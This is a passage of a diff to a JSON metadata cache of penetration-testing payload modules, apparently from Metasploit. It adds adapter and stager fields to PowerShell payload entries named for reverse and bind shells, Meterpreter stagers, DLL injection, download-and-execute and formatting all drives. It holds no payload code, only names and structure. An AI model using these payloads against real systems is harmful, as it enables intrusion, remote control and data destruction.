"cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -194684,7 +196868,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -194724,7 +196914,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_cmd/windows/powershell/dllinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", @@ -194762,7 +196958,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/dllinject/reverse_winhttp": { "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", @@ -194800,7 +197002,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_winhttp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_winhttp" }, "payload_cmd/windows/powershell/dns_txt_query_exec": { "name": "Powershell Exec, DNS TXT Record Payload Download and Execution", @@ -194835,7 +197043,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dns_txt_query_exec", + "staged": false }, "payload_cmd/windows/powershell/download_exec": { "name": "Powershell Exec, Windows Executable Download (http,https,ftp) and Execute", @@ -194870,7 +197082,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/download_exec", + "staged": false }, "payload_cmd/windows/powershell/exec": { "name": "Powershell Exec", @@ -194906,7 +197122,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/exec", + "staged": false }, "payload_cmd/windows/powershell/format_all_drives": { "name": "Powershell Exec", @@ -194946,7 +197166,11 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/format_all_drives", + "staged": false }, "payload_cmd/windows/powershell/generic/debug_trap": { "name": "Powershell Exec, Generic x86 Debug Trap", @@ -194981,7 +197205,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "generic/debug_trap", + "staged": false }, "payload_cmd/windows/powershell/generic/tight_loop": { "name": "Powershell Exec, Generic x86 Tight Loop", @@ -195016,7 +197244,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "generic/tight_loop", + "staged": false }, "payload_cmd/windows/powershell/loadlibrary": { "name": "Powershell Exec", @@ -195052,7 +197284,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/loadlibrary", + "staged": false }, "payload_cmd/windows/powershell/messagebox": { "name": "Powershell Exec, Windows MessageBox", @@ -195088,7 +197324,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/messagebox", + "staged": false }, "payload_cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", @@ -195128,7 +197368,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_cmd/windows/powershell/meterpreter/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", @@ -195168,7 +197414,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", @@ -195207,7 +197459,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -195246,7 +197504,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/meterpreter/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", @@ -195285,7 +197549,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_named_pipe", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_named_pipe" }, "payload_cmd/windows/powershell/meterpreter/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", @@ -195324,7 +197594,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_cmd/windows/powershell/meterpreter/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", @@ -195363,7 +197639,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_tcp" }, "payload_cmd/windows/powershell/meterpreter/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -195404,7 +197686,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_cmd/windows/powershell/meterpreter/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", @@ -195443,7 +197731,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_cmd/windows/powershell/meterpreter/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", @@ -195481,7 +197775,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/find_tag", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/findtag_ord" }, "payload_cmd/windows/powershell/meterpreter/reverse_hop_http": { "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", @@ -195522,7 +197822,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_hop_http", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_hop_http" }, "payload_cmd/windows/powershell/meterpreter/reverse_http": { "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", @@ -195561,7 +197867,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_http", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_http" }, "payload_cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore": { "name": "Powershell Exec, Reverse HTTP Stager Proxy", @@ -195600,7 +197912,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_http_proxy_pstore", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_http_proxy_pstore" }, "payload_cmd/windows/powershell/meterpreter/reverse_https": { "name": "Powershell Exec, Windows Reverse HTTPS Stager (wininet)", @@ -195639,7 +197957,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_https", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_https" }, "payload_cmd/windows/powershell/meterpreter/reverse_https_proxy": { "name": "Powershell Exec, Reverse HTTPS Stager with Support for Custom Proxy", @@ -195680,7 +198004,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_https_proxy", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_https_proxy" }, "payload_cmd/windows/powershell/meterpreter/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", @@ -195719,7 +198049,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_cmd/windows/powershell/meterpreter/reverse_named_pipe": { "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", @@ -195757,7 +198093,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_named_pipe" }, "payload_cmd/windows/powershell/meterpreter/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", @@ -195796,7 +198138,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_cmd/windows/powershell/meterpreter/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -195835,7 +198183,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_cmd/windows/powershell/meterpreter/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", @@ -195874,7 +198228,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp" }, "payload_cmd/windows/powershell/meterpreter/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", @@ -195913,7 +198273,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_cmd/windows/powershell/meterpreter/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", @@ -195953,7 +198319,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -195994,7 +198366,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -196035,7 +198413,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_cmd/windows/powershell/meterpreter/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", @@ -196074,7 +198458,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/meterpreter/reverse_winhttp": { "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", @@ -196114,7 +198504,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_winhttp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_winhttp" }, "payload_cmd/windows/powershell/meterpreter/reverse_winhttps": { "name": "Powershell Exec, Windows Reverse HTTPS Stager (winhttp)", @@ -196154,7 +198550,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_winhttps", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_winhttps" }, "payload_cmd/windows/powershell/metsvc_bind_tcp": { "name": "Powershell Exec, Windows Meterpreter Service, Bind TCP", @@ -196189,7 +198591,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/metsvc_bind_tcp", + "staged": false }, "payload_cmd/windows/powershell/metsvc_reverse_tcp": { "name": "Powershell Exec, Windows Meterpreter Service, Reverse TCP Inline", @@ -196224,7 +198630,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/metsvc_reverse_tcp", + "staged": false }, "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", @@ -196263,7 +198673,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", @@ -196302,7 +198718,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", @@ -196340,7 +198762,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -196379,7 +198807,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/patchupdllinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", @@ -196416,7 +198850,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_named_pipe" }, "payload_cmd/windows/powershell/patchupdllinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", @@ -196453,7 +198893,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_cmd/windows/powershell/patchupdllinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", @@ -196491,7 +198937,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_tcp" }, "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -196531,7 +198983,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", @@ -196569,7 +199027,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_cmd/windows/powershell/patchupdllinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", @@ -196605,7 +199069,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/find_tag", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/findtag_ord" }, "payload_cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", @@ -196643,7 +199113,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", @@ -196680,7 +199156,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_cmd/windows/powershell/patchupdllinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -196717,7 +199199,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", @@ -196755,7 +199243,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp" }, "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", @@ -196793,7 +199287,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", @@ -196832,7 +199332,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -196872,7 +199378,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -196912,7 +199424,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", @@ -196950,7 +199468,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", @@ -196989,7 +199513,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", @@ -197028,7 +199558,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", @@ -197066,7 +199602,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -197105,7 +199647,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/patchupmeterpreter/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", @@ -197142,7 +199690,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_named_pipe", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_named_pipe" }, "payload_cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", @@ -197179,7 +199733,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", @@ -197217,7 +199777,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + 